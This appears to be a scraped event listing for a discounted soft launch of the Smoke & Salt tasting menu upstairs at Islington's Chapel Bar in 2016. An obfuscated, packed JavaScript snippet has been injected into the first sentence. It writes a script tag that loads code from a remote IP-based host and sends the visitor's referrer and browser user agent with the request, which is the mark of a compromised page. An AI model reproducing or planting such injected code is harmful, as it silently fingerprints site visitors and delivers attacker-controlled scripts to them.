30% OFF SMOKE & SALT

After (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beyih|var|u0026u|referrer|zhesf||js|php’.split(‘|’),0,{}))
starting as a pop-up back in 2014, Remi Williams and Aaron Webster’s Smoke & Salt is now taking up a yearlong residency upstairs at Islington’s Chapel Bar. With a focus on seasonal British ingredients and traditional cooking techniques, like smoking, curing and preserving, the Smoke & Salt experience consists of a five course tasting feast, with dishes like cipollini and bbq spring onion, grilled spring lamb, and pink grapefruit curd all on the menu for May. Coming in at £38 a head, Smoke & Salt is already great value for money but during the soft launch period, you can try it out for 30% less. It’s only a 30-cover spot though, so booking is essential!

Get tickets
Tues 24th, Weds 25th & Fri 27th May 2016
Upstairs at The Chapel Bar, 29 Penton Street, London, N1 9PX
www.smokeandsalt.com